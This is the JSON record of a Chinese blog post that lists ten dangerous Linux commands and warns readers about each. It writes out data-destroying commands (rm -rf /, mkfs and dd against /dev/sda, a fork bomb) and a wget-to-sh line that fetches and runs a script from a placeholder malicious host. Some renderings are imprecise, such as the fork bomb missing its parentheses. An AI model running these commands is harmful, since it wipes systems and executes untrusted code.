{"id":51976,"date":"2024-12-03T17:05:52","date_gmt":"2024-12-03T09:05:52","guid":{"rendered":"https:\/\/fwq.ai\/blog\/51976\/"},"modified":"2024-12-03T17:05:52","modified_gmt":"2024-12-03T09:05:52","slug":"linux%e6%9c%80%e5%8d%b1%e9%99%a9%e7%9a%84%e5%91%bd%e4%bb%a4%e6%9c%89%e5%93%aa%e4%ba%9b","status":"publish","type":"post","link":"https:\/\/fwq.ai\/blog\/51976\/","title":{"rendered":"Linux\u6700\u5371\u9669\u7684\u547d\u4ee4\u6709\u54ea\u4e9b"},"content":{"rendered":"

<\/b> <\/p>\n

Linux\u6700\u5371\u9669\u7684\u547d\u4ee4\u6709\u54ea\u4e9b<\/h1>\n

\u7f16\u7a0b\u5e76\u4e0d\u662f\u4e00\u4e2a\u673a\u68b0\u6027\u7684\u5de5\u4f5c\uff0c\u800c\u662f\u9700\u8981\u6709\u601d\u8003\uff0c\u6709\u521b\u65b0\u7684\u5de5\u4f5c\uff0c\u8bed\u6cd5\u662f\u56fa\u5b9a\u7684\uff0c\u4f46\u89e3\u51b3\u95ee\u9898\u7684\u601d\u8def\u5219\u662f\u4f9d\u9760\u4eba\u7684\u601d\u7ef4\uff0c\u8fd9\u5c31\u9700\u8981\u6211\u4eec\u575a\u6301\u5b66\u4e60\u548c\u66f4\u65b0\u81ea\u5df1\u7684\u77e5\u8bc6\u3002\u4eca\u5929\u7c73\u4e91\u5c31\u6574\u7406\u5206\u4eab\u300aLinux\u6700\u5371\u9669\u7684\u547d\u4ee4\u6709\u54ea\u4e9b\u300b\uff0c\u6587\u7ae0\u8bb2\u89e3\u7684\u77e5\u8bc6\u70b9\u4e3b\u8981\u5305\u62ec\uff0c\u5982\u679c\u4f60\u5bf9\u6587\u7ae0\u65b9\u9762\u7684\u77e5\u8bc6\u70b9\u611f\u5174\u8da3\uff0c\u5c31\u4e0d\u8981\u9519\u8fc7\u7c73\u4e91\uff0c\u5728\u8fd9\u53ef\u4ee5\u5bf9\u5927\u5bb6\u7684\u77e5\u8bc6\u79ef\u7d2f\u6709\u6240\u5e2e\u52a9\uff0c\u52a9\u529b\u5f00\u53d1\u80fd\u529b\u7684\u63d0\u5347\u3002<\/p>\n

Linux\u91cc10\u4e2a\u6700\u5371\u9669\u7684\u547d\u4ee4\u4ecb\u7ecd\uff1a<\/h4>\n

1. rm -rf \u547d\u4ee4
rm -rf\u547d\u4ee4\u662f\u5220\u9664\u6587\u4ef6\u5939\u53ca\u5176\u5185\u5bb9\u6700\u5feb\u7684\u65b9\u5f0f\u4e4b\u4e00\u3002
\u4ec5\u4ec5\u4e00\u4e01\u70b9\u7684\u6572\u9519\u6216\u65e0\u77e5\u90fd\u53ef\u80fd\u5bfc\u81f4\u4e0d\u53ef\u6062\u590d\u7684\u7cfb\u7edf\u5d29\u574f\u3002<\/p>\n

\u4e0b\u5217\u662f\u4e00\u4e9brm \u547d\u4ee4\u7684\u9009\u9879\uff1a<\/h4>\n

1.rm\u547d\u4ee4\u5728Linux\u4e0b\u901a\u5e38\u7528\u6765\u5220\u9664\u6587\u4ef6\u3002<\/h4>\n

2.rm -r \u547d\u4ee4\u9012\u5f52\u7684\u5220\u9664\u6587\u4ef6\u5939\uff0c\u751a\u81f3\u662f\u7a7a\u7684\u6587\u4ef6\u5939\u3002
3.rm -f \u547d\u4ee4\u80fd\u4e0d\u7ecf\u8fc7\u8be2\u95ee\u76f4\u63a5\u5220\u9664\u2018\u53ea\u8bfb\u6587\u4ef6\u2019\u3002Linux\u4e0b\u5220\u9664\u6587\u4ef6\u5e76\u4e0d\u5728\u4e4e\u8be5\u6587\u4ef6\u662f\u5426\u662f\u53ea\u8bfb\u7684\uff0c\u800c\u53ea\u662f\u5728\u610f\u5176\u7236\u76ee\u5f55\u662f\u5426\u6709\u5199\u6743\u9650\u3002\u6240\u4ee5\uff0c-f\u8fd9\u4e2a\u53c2\u6570\u53ea\u662f\u8868\u793a\u4e0d\u5fc5\u4e00\u4e2a\u4e2a\u5220\u9664\u786e\u8ba4\uff0c\u800c\u662f\u4e00\u5f8b\u6084\u6084\u5220\u9664\u3002\u53e6\u5916\uff0c\u539f\u59cb\u7684rm\u547d\u4ee4\u5176\u5b9e\u4e5f\u662f\u6ca1\u6709\u5220\u9664\u63d0\u793a\u7684\uff0c\u53ea\u662f\u4e00\u822c\u7684\u53d1\u884c\u7248\u90fd\u4f1a\u5c06rm\u901a\u8fc7\u522b\u540d\u7684\u65b9\u5f0f\u589e\u52a0-i\u53c2\u6570\u6765\u8981\u6c42\u5220\u9664\u786e\u8ba4\uff0c\u800c-f\u5219\u6291\u5236\u4e86\u8fd9\u4e2a\u63d0\u793a\u3002
4.rm -rf \/ : \u5f3a\u5236\u5220\u9664\u6839\u76ee\u5f55\u4e0b\u6240\u6709\u4e1c\u4e1c\u3002
5.rm -rf *:\u5f3a\u5236\u5220\u9664\u5f53\u524d\u76ee\u5f55\u7684\u6240\u6709\u6587\u4ef6\u3002
6.rm -rf . : \u5f3a\u5236\u5220\u9664\u5f53\u524d\u6587\u4ef6\u5939\u53ca\u5176\u5b50\u6587\u4ef6\u5939\u3002
\u4ece\u73b0\u5728\u8d77\uff0c\u5f53\u4f60\u8981\u6267\u884crm -rf\u547d\u4ee4\u65f6\u8bf7\u7559\u5fc3\u4e00\u70b9\u3002\u6211\u4eec\u53ef\u4ee5\u5728\u201c.bashrc\u201d\u6587\u4ef6\u5bf9\u2018rm\u2018\u547d\u4ee4\u521b\u5efarm -i\u7684\u522b\u540d\uff0c\u6765\u9884\u9632\u7528 \u2018rm\u2018\u547d\u4ee4\u5220\u9664\u6587\u4ef6\u65f6\u7684\u4e8b\u6545\uff0c\u5b83\u4f1a\u8981\u6c42\u4f60\u786e\u8ba4\u6bcf\u4e00\u4e2a\u5220\u9664\u8bf7\u6c42\u3002(\u8bd1\u6ce8\uff1a\u5927\u591a\u6570\u53d1\u884c\u7248\u5df2\u7ecf\u8fd9\u6837\u505a\u4e86\uff0c\u5982\u679c\u8fd8\u6ca1\u6709\uff0c\u8bf7\u8fd9\u6837\u505a\uff0c\u5e76\u5728\u4f7f\u7528-f\u53c2\u6570\u524d\u4e00\u5b9a\u8003\u8651\u597d\u4f60\u5728\u505a\u4ec0\u4e48)<\/p>\n

2. :{:|:&};: \u547d\u4ee4<\/h4>\n

\u8fd9\u5c31\u662f\u4e2afork \u70b8\u5f39\u7684\u5b9e\u4f8b\u3002
\u5177\u4f53\u64cd\u4f5c\u662f\u901a\u8fc7\u5b9a\u4e49\u4e00\u4e2a\u540d\u4e3a \u2018:\u2018\u7684\u51fd\u6570\uff0c\u5b83\u4f1a\u8c03\u7528\u81ea\u5df1\u4e24\u6b21\uff0c\u4e00\u6b21\u5728\u524d\u53f0\u53e6\u4e00\u6b21\u8fd0\u884c\u5728\u540e\u53f0\u3002\u5b83\u4f1a\u53cd\u590d\u7684\u6267\u884c\u4e0b\u53bb\u76f4\u5230\u7cfb\u7edf\u5d29\u6e83\u3002<\/p>\n

3. \u547d\u4ee4> \/dev\/sda<\/h4>\n

\u8fd9\u4e2a\u547d\u4ee4\u4f1a\u5c06\u67d0\u4e2a\u2018\u547d\u4ee4\u2018\u7684\u8f93\u51fa\u5199\u5230\u5757\u8bbe\u5907\/dev\/sda\u4e2d\u3002
\u8be5\u64cd\u4f5c\u4f1a\u5c06\u5728\u5757\u8bbe\u5907\u4e2d\u7684\u6240\u6709\u6570\u636e\u5757\u66ff\u6362\u4e3a\u547d\u4ee4\u5199\u5165\u7684\u539f\u59cb\u6570\u636e\uff0c\u4ece\u800c\u5bfc\u81f4\u6574\u4e2a\u5757\u8bbe\u5907\u7684\u6570\u636e\u4e22\u5931\u3002<\/p>\n

4. mv \u6587\u4ef6\u5939 \/dev\/null<\/h4>\n

\u8fd9\u4e2a\u547d\u4ee4\u4f1a\u79fb\u52a8\u67d0\u4e2a\u2018\u6587\u4ef6\u5939\u2018\u5230\/dev\/null\u3002
\u5728Linux\u4e2d \/dev\/null \u6216 null \u8bbe\u5907\u662f\u4e00\u4e2a\u7279\u6b8a\u7684\u6587\u4ef6\uff0c\u6240\u6709\u5199\u5165\u5b83\u7684\u6570\u636e\u90fd\u4f1a\u88ab\u6e05\u9664\uff0c\u7136\u540e\u8fd4\u56de\u5199\u64cd\u4f5c\u6210\u529f\u3002
\u5f53\u7136\uff0c\u8981\u8bf4\u660e\u7684\u662f\u8fd9\u4e2a\u547d\u4ee4\u5e76\u4e0d\u80fd\u963b\u6b62\u6570\u636e\u6062\u590d\u8f6f\u4ef6\u2014\u2014\u6240\u4ee5\uff0c\u771f\u6b63\u7684\u5f7b\u5e95\u6bc1\u706d\uff0c\u9700\u8981\u91c7\u7528\u4e13\u7528\u7684\u8f6f\u4ef6\u6216\u8005\u624b\u6cd5\u6765\u5b8c\u6210\u3002<\/p>\n

5. wget http:\/\/malicious_source -O- | sh<\/h4>\n

\u8be5\u547d\u4ee4\u4f1a\u4ece\u4e00\u4e2a(\u4e5f\u8bb8\u662f)\u6076\u610f\u6e90\u4e0b\u8f7d\u4e00\u4e2a\u811a\u672c\u5e76\u6267\u884c\u3002
Wget\u547d\u4ee4\u4f1a\u4e0b\u8f7d\u8fd9\u4e2a\u811a\u672c\uff0c\u800csh\u4f1a(\u65e0\u6761\u4ef6\u7684)\u6267\u884c\u4e0b\u8f7d\u4e0b\u6765\u7684\u811a\u672c\u3002
\u6ce8\u610f: \u4f60\u5e94\u8be5\u65f6\u523b\u6ce8\u610f\u4f60\u4e0b\u8f7d\u5305\u6216\u811a\u672c\u7684\u6e90\u3002\u53ea\u80fd\u4f7f\u7528\u90a3\u4e9b\u4ece\u53ef\u4fe1\u4efb\u7684\u6e90\u4e2d\u4e0b\u8f7d\u811a\u672c\/\u7a0b\u5e8f\u3002<\/p>\n

6. mkfs.ext3 \/dev\/sda<\/h4>\n

\u4e0a\u5217\u547d\u4ee4\u4f1a\u683c\u5f0f\u5316\u5757\u8bbe\u5907\u2018sda\u2019\uff0c\u5728\u6267\u884c\u8fd9\u4e2a\u547d\u4ee4\u540e\u4f60\u7684\u5757\u8bbe\u5907(\u786c\u76d8\u9a71\u52a8\u5668)\u4f1a\u88ab\u683c\u5f0f\u5316\uff0c\u76f4\u63a5\u8ba9\u4f60\u7684\u7cfb\u7edf\u8fbe\u5230\u4e0d\u53ef\u6062\u590d\u7684\u9636\u6bb5\u3002
\u901a\u5e38\u6211\u4eec\u4e0d\u4f1a\u76f4\u63a5\u4f7f\u7528\/dev\/sda\u8fd9\u6837\u7684\u8bbe\u5907\uff0c\u9664\u975e\u662f\u4f5c\u4e3araw\u8bbe\u5907\u4f7f\u7528\u3002
\u4e00\u822c\u90fd\u9700\u8981\u5c06sda\u5206\u6210\u7c7b\u4f3csda1\u3001sda2\u8fd9\u6837\u7684\u5206\u533a\u540e\u624d\u4f7f\u7528\u3002\u5f53\u7136\uff0c\u65e0\u8bba\u4f60\u4f7f\u7528sda\u8fd8\u662fsda1\uff0c\u8fd9\u6837\u5bf9\u5757\u8bbe\u5907\u6216\u5206\u533a\u8fdb\u884cmkfs\u90fd\u662f\u6bc1\u706d\u6027\u7684\uff0c\u4e0a\u9762\u7684\u6570\u636e\u90fd\u4f1a\u88ab\u84b8\u53d1\u4e86\u3002<\/p>\n

7. > file<\/h4>\n

\u8fd9\u4e2a\u547d\u4ee4\u5e38\u7528\u6765\u6e05\u7a7a\u6587\u4ef6\u5185\u5bb9\u6216\u8bb0\u5f55\u547d\u4ee4\u8f93\u51fa\u3002<\/p>\n

\u4e0d\u8fc7\u8bf7\u5728\u6267\u884c\u524d\uff0c\u786e\u8ba4\u8f93\u51fa\u7684\u6587\u4ef6\u662f\u7a7a\u7684\u6216\u8005\u8fd8\u4e0d\u5b58\u5728\uff0c\u5426\u5219\u539f\u6765\u7684\u6587\u4ef6\u53ef\u771f\u662f\u6062\u590d\u4e0d\u4e86\u4e86\u2014\u2014\u8fde\u6570\u636e\u6062\u590d\u8f6f\u4ef6\u90fd\u672a\u5fc5\u80fd\u5e2e\u52a9\u4f60\u4e86\u3002
\u4f60\u53ef\u80fd\u771f\u6b63\u60f3\u7528\u7684\u662f\u201c>>\u201d\uff0c\u5373\u7d2f\u52a0\u65b0\u7684\u8f93\u51fa\u5230\u6587\u4ef6\uff0c\u800c\u4e0d\u662f\u5237\u65b0\u90a3\u4e2a\u6587\u4ef6\u3002
\u5982\u679c\u7528\u4e0a\u5217\u6267\u884c\u65f6\u8f93\u5165\u9519\u8bef\u6216\u65e0\u77e5\u7684\u8f93\u5165\u7c7b\u4f3c \u201c> xt.conf\u201d\u7684\u547d\u4ee4\u4f1a\u8986\u76d6\u914d\u7f6e\u6587\u4ef6\u6216\u5176\u4ed6\u4efb\u4f55\u7684\u7cfb\u7edf\u914d\u7f6e\u6587\u4ef6\u3002<\/p>\n

8. ^foo^bar<\/h4>\n

\u8fd9\u4e2a\u547d\u4ee4\u7528\u6765\u7f16\u8f91\u5148\u524d\u8fd0\u884c\u7684\u547d\u4ee4\u800c\u65e0\u9700\u91cd\u6253\u6574\u4e2a\u547d\u4ee4\u3002
\u7528foobar\u547d\u4ee4\u65f6\u5982\u679c\u4f60\u6ca1\u6709\u5f7b\u5e95\u68c0\u67e5\u6539\u53d8\u539f\u59cb\u547d\u4ee4\u7684\u98ce\u9669\uff0c\u8fd9\u53ef\u80fd\u5bfc\u81f4\u771f\u6b63\u7684\u9ebb\u70e6\u3002<\/p>\n

9. dd if=\/dev\/random of=\/dev\/sda<\/h4>\n

\u8fd9\u4e2a\u547d\u4ee4\u4f1a\u5411\u5757\u8bbe\u5907sda\u5199\u5165\u968f\u673a\u7684\u5783\u573e\u6587\u4ef6\u4ece\u800c\u64e6\u51fa\u6570\u636e\uff0c\u8ba9\u4f60\u7684\u7cfb\u7edf\u53ef\u80fd\u9677\u5165\u6df7\u4e71\u548c\u4e0d\u53ef\u6062\u590d\u7684\u72b6\u6001\u3002
\u8bb0\u5f97\u4e0a\u9762\u8bf4\u8fc7mv\u5230\u9ed1\u6d1e\u5e76\u4e0d\u80fd\u5f7b\u5e95\u5220\u9664\u6570\u636e\u4e48\uff1f\u90a3\u4e48\u8fd9\u4e2a\u547d\u4ee4\u5c31\u662f\u7ed9\u4e86\u4f60\u4e00\u4e2a\u5f7b\u5e95\u5220\u9664\u7684\u65b9\u6cd5!\u5f53\u7136\u4e3a\u4e86\u4fdd\u9669\u8d77\u89c1\uff0c\u4f60\u53ef\u4ee5\u8986\u5199\u591a\u6b21\u3002<\/p>\n

10. \u9690\u85cf\u547d\u4ee4<\/h4>\n

\u4e0b\u9762\u7684\u547d\u4ee4\u5176\u5b9e\u5c31\u662f\u4e0a\u9762\u7b2c\u4e00\u4e2a\u547d\u4ee4 (rm -rf)\u3002
\u8fd9\u91cc\u7684\u4ee3\u7801\u662f\u9690\u85cf\u5728\u5341\u516d\u8fdb\u5236\u91cc\u7684,\u4e00\u4e2a\u65e0\u77e5\u7684\u7528\u6237\u53ef\u80fd\u5c31\u4f1a\u88ab\u611a\u5f04\uff0c\u5982\u679c\u5728\u7ec8\u7aef\u91cc\u8fd0\u884c\u4e0b\u9762\u547d\u4ee4\u53ef\u80fd\u4f1a\u64e6\u9664\u4f60\u7684\u6839\u5206\u533a\u3002
\u771f\u6b63\u7684\u5371\u9669\u662f\u9690\u85cf\u8d77\u6765\u7684\uff0c\u4e0d\u4f1a\u88ab\u8f7b\u6613\u7684\u68c0\u6d4b\u5230\u3002\u4f60\u5fc5\u987b\u65f6\u523b\u7559\u5fc3\u4f60\u5728\u505a\u4ec0\u4e48\u7ed3\u679c\u4f1a\u600e\u6837\u3002
\u5207\u8bb0\uff0c\u5343\u4e07\u4e0d\u8981\u7f16\u8bd1\/\u8fd0\u884c\u4ece\u672a\u77e5\u6765\u6e90\u7684\u4ee3\u7801\u3002<\/p>\n

\u4ee5\u4e0a\u5c31\u662f\u300aLinux\u6700\u5371\u9669\u7684\u547d\u4ee4\u6709\u54ea\u4e9b\u300b\u7684\u8be6\u7ec6\u5185\u5bb9\uff0c\u66f4\u591a\u5173\u4e8eLinux\u7684\u8d44\u6599\u8bf7\u5173\u6ce8\u7c73\u4e91\u516c\u4f17\u53f7\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"

Linux\u6700\u5371\u9669\u7684\u547d\u4ee4\u6709\u54ea\u4e9b \u7f16\u7a0b\u5e76\u4e0d\u662f\u4e00\u4e2a\u673a\u68b0\u6027\u7684\u5de5\u4f5c\uff0c\u800c\u662f\u9700\u8981\u6709\u601d\u8003\uff0c\u6709\u521b\u65b0\u7684\u5de5\u4f5c\uff0c\u8bed\u6cd5\u662f\u56fa\u5b9a\u7684\uff0c\u4f46\u89e3\u51b3\u95ee\u9898\u7684\u601d\u8def\u5219\u662f\u4f9d\u9760\u4eba\u7684\u601d\u7ef4\uff0c\u8fd9\u5c31\u9700\u8981\u6211\u4eec\u575a\u6301\u5b66\u4e60\u548c\u66f4\u65b0\u81ea\u5df1\u7684\u77e5\u8bc6\u3002\u4eca\u5929\u7c73\u4e91\u5c31\u6574\u7406\u5206\u4eab\u300aLinux\u6700\u5371\u9669\u7684\u547d\u4ee4\u6709\u54ea\u4e9b\u300b\uff0c\u6587\u7ae0\u8bb2\u89e3\u7684\u77e5\u8bc6\u70b9\u4e3b\u8981\u5305\u62ec\uff0c\u5982\u679c\u4f60\u5bf9\u6587\u7ae0\u65b9\u9762\u7684\u77e5\u8bc6\u70b9\u611f\u5174\u8da3\uff0c\u5c31\u4e0d\u8981\u9519\u8fc7\u7c73\u4e91\uff0c\u5728\u8fd9\u53ef\u4ee5\u5bf9\u5927\u5bb6\u7684\u77e5\u8bc6\u79ef\u7d2f\u6709\u6240\u5e2e\u52a9\uff0c\u52a9\u529b\u5f00\u53d1\u80fd\u529b\u7684\u63d0\u5347\u3002 Linux\u91cc10\u4e2a\u6700\u5371\u9669\u7684\u547d\u4ee4\u4ecb\u7ecd\uff1a 1. rm -rf \u547d\u4ee4rm -rf\u547d\u4ee4\u662f\u5220\u9664\u6587\u4ef6\u5939\u53ca\u5176\u5185\u5bb9\u6700\u5feb\u7684\u65b9\u5f0f\u4e4b\u4e00\u3002\u4ec5\u4ec5\u4e00\u4e01\u70b9\u7684\u6572\u9519\u6216\u65e0\u77e5\u90fd\u53ef\u80fd\u5bfc\u81f4\u4e0d\u53ef\u6062\u590d\u7684\u7cfb\u7edf\u5d29\u574f\u3002 \u4e0b\u5217\u662f\u4e00\u4e9brm \u547d\u4ee4\u7684\u9009\u9879\uff1a 1.rm\u547d\u4ee4\u5728Linux\u4e0b\u901a\u5e38\u7528\u6765\u5220\u9664\u6587\u4ef6\u3002 2.rm -r \u547d\u4ee4\u9012\u5f52\u7684\u5220\u9664\u6587\u4ef6\u5939\uff0c\u751a\u81f3\u662f\u7a7a\u7684\u6587\u4ef6\u5939\u30023.rm -f \u547d\u4ee4\u80fd\u4e0d\u7ecf\u8fc7\u8be2\u95ee\u76f4\u63a5\u5220\u9664\u2018\u53ea\u8bfb\u6587\u4ef6\u2019\u3002Linux\u4e0b\u5220\u9664\u6587\u4ef6\u5e76\u4e0d\u5728\u4e4e\u8be5\u6587\u4ef6\u662f\u5426\u662f\u53ea\u8bfb\u7684\uff0c\u800c\u53ea\u662f\u5728\u610f\u5176\u7236\u76ee\u5f55\u662f\u5426\u6709\u5199\u6743\u9650\u3002\u6240\u4ee5\uff0c-f\u8fd9\u4e2a\u53c2\u6570\u53ea\u662f\u8868\u793a\u4e0d\u5fc5\u4e00\u4e2a\u4e2a\u5220\u9664\u786e\u8ba4\uff0c\u800c\u662f\u4e00\u5f8b\u6084\u6084\u5220\u9664\u3002\u53e6\u5916\uff0c\u539f\u59cb\u7684rm\u547d\u4ee4\u5176\u5b9e\u4e5f\u662f\u6ca1\u6709\u5220\u9664\u63d0\u793a\u7684\uff0c\u53ea\u662f\u4e00\u822c\u7684\u53d1\u884c\u7248\u90fd\u4f1a\u5c06rm\u901a\u8fc7\u522b\u540d\u7684\u65b9\u5f0f\u589e\u52a0-i\u53c2\u6570\u6765\u8981\u6c42\u5220\u9664\u786e\u8ba4\uff0c\u800c-f\u5219\u6291\u5236\u4e86\u8fd9\u4e2a\u63d0\u793a\u30024.rm -rf \/ : \u5f3a\u5236\u5220\u9664\u6839\u76ee\u5f55\u4e0b\u6240\u6709\u4e1c\u4e1c\u30025.rm -rf *:\u5f3a\u5236\u5220\u9664\u5f53\u524d\u76ee\u5f55\u7684\u6240\u6709\u6587\u4ef6\u30026.rm -rf . : \u5f3a\u5236\u5220\u9664\u5f53\u524d\u6587\u4ef6\u5939\u53ca\u5176\u5b50\u6587\u4ef6\u5939\u3002\u4ece\u73b0\u5728\u8d77\uff0c\u5f53\u4f60\u8981\u6267\u884crm -rf\u547d\u4ee4\u65f6\u8bf7\u7559\u5fc3\u4e00\u70b9\u3002\u6211\u4eec\u53ef\u4ee5\u5728\u201c.bashrc\u201d\u6587\u4ef6\u5bf9\u2018rm\u2018\u547d\u4ee4\u521b\u5efarm -i\u7684\u522b\u540d\uff0c\u6765\u9884\u9632\u7528 \u2018rm\u2018\u547d\u4ee4\u5220\u9664\u6587\u4ef6\u65f6\u7684\u4e8b\u6545\uff0c\u5b83\u4f1a\u8981\u6c42\u4f60\u786e\u8ba4\u6bcf\u4e00\u4e2a\u5220\u9664\u8bf7\u6c42\u3002(\u8bd1\u6ce8\uff1a\u5927\u591a\u6570\u53d1\u884c\u7248\u5df2\u7ecf\u8fd9\u6837\u505a\u4e86\uff0c\u5982\u679c\u8fd8\u6ca1\u6709\uff0c\u8bf7\u8fd9\u6837\u505a\uff0c\u5e76\u5728\u4f7f\u7528-f\u53c2\u6570\u524d\u4e00\u5b9a\u8003\u8651\u597d\u4f60\u5728\u505a\u4ec0\u4e48) 2. :{:|:&};: \u547d\u4ee4 \u8fd9\u5c31\u662f\u4e2afork \u70b8\u5f39\u7684\u5b9e\u4f8b\u3002\u5177\u4f53\u64cd\u4f5c\u662f\u901a\u8fc7\u5b9a\u4e49\u4e00\u4e2a\u540d\u4e3a \u2018:\u2018\u7684\u51fd\u6570\uff0c\u5b83\u4f1a\u8c03\u7528\u81ea\u5df1\u4e24\u6b21\uff0c\u4e00\u6b21\u5728\u524d\u53f0\u53e6\u4e00\u6b21\u8fd0\u884c\u5728\u540e\u53f0\u3002\u5b83\u4f1a\u53cd\u590d\u7684\u6267\u884c\u4e0b\u53bb\u76f4\u5230\u7cfb\u7edf\u5d29\u6e83\u3002 3. \u547d\u4ee4> \/dev\/sda \u8fd9\u4e2a\u547d\u4ee4\u4f1a\u5c06\u67d0\u4e2a\u2018\u547d\u4ee4\u2018\u7684\u8f93\u51fa\u5199\u5230\u5757\u8bbe\u5907\/dev\/sda\u4e2d\u3002\u8be5\u64cd\u4f5c\u4f1a\u5c06\u5728\u5757\u8bbe\u5907\u4e2d\u7684\u6240\u6709\u6570\u636e\u5757\u66ff\u6362\u4e3a\u547d\u4ee4\u5199\u5165\u7684\u539f\u59cb\u6570\u636e\uff0c\u4ece\u800c\u5bfc\u81f4\u6574\u4e2a\u5757\u8bbe\u5907\u7684\u6570\u636e\u4e22\u5931\u3002 4. mv \u6587\u4ef6\u5939 \/dev\/null \u8fd9\u4e2a\u547d\u4ee4\u4f1a\u79fb\u52a8\u67d0\u4e2a\u2018\u6587\u4ef6\u5939\u2018\u5230\/dev\/null\u3002\u5728Linux\u4e2d \/dev\/null \u6216 null \u8bbe\u5907\u662f\u4e00\u4e2a\u7279\u6b8a\u7684\u6587\u4ef6\uff0c\u6240\u6709\u5199\u5165\u5b83\u7684\u6570\u636e\u90fd\u4f1a\u88ab\u6e05\u9664\uff0c\u7136\u540e\u8fd4\u56de\u5199\u64cd\u4f5c\u6210\u529f\u3002\u5f53\u7136\uff0c\u8981\u8bf4\u660e\u7684\u662f\u8fd9\u4e2a\u547d\u4ee4\u5e76\u4e0d\u80fd\u963b\u6b62\u6570\u636e\u6062\u590d\u8f6f\u4ef6\u2014\u2014\u6240\u4ee5\uff0c\u771f\u6b63\u7684\u5f7b\u5e95\u6bc1\u706d\uff0c\u9700\u8981\u91c7\u7528\u4e13\u7528\u7684\u8f6f\u4ef6\u6216\u8005\u624b\u6cd5\u6765\u5b8c\u6210\u3002 5. wget http:\/\/malicious_source -O- | sh \u8be5\u547d\u4ee4\u4f1a\u4ece\u4e00\u4e2a(\u4e5f\u8bb8\u662f)\u6076\u610f\u6e90\u4e0b\u8f7d\u4e00\u4e2a\u811a\u672c\u5e76\u6267\u884c\u3002Wget\u547d\u4ee4\u4f1a\u4e0b\u8f7d\u8fd9\u4e2a\u811a\u672c\uff0c\u800csh\u4f1a(\u65e0\u6761\u4ef6\u7684)\u6267\u884c\u4e0b\u8f7d\u4e0b\u6765\u7684\u811a\u672c\u3002\u6ce8\u610f: […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"class_list":["post-51976","post","type-post","status-publish","format-standard","hentry","category-os"],"_links":{"self":[{"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/posts\/51976","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/comments?post=51976"}],"version-history":[{"count":0,"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/posts\/51976\/revisions"}],"wp:attachment":[{"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/media?parent=51976"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/categories?post=51976"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/tags?post=51976"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}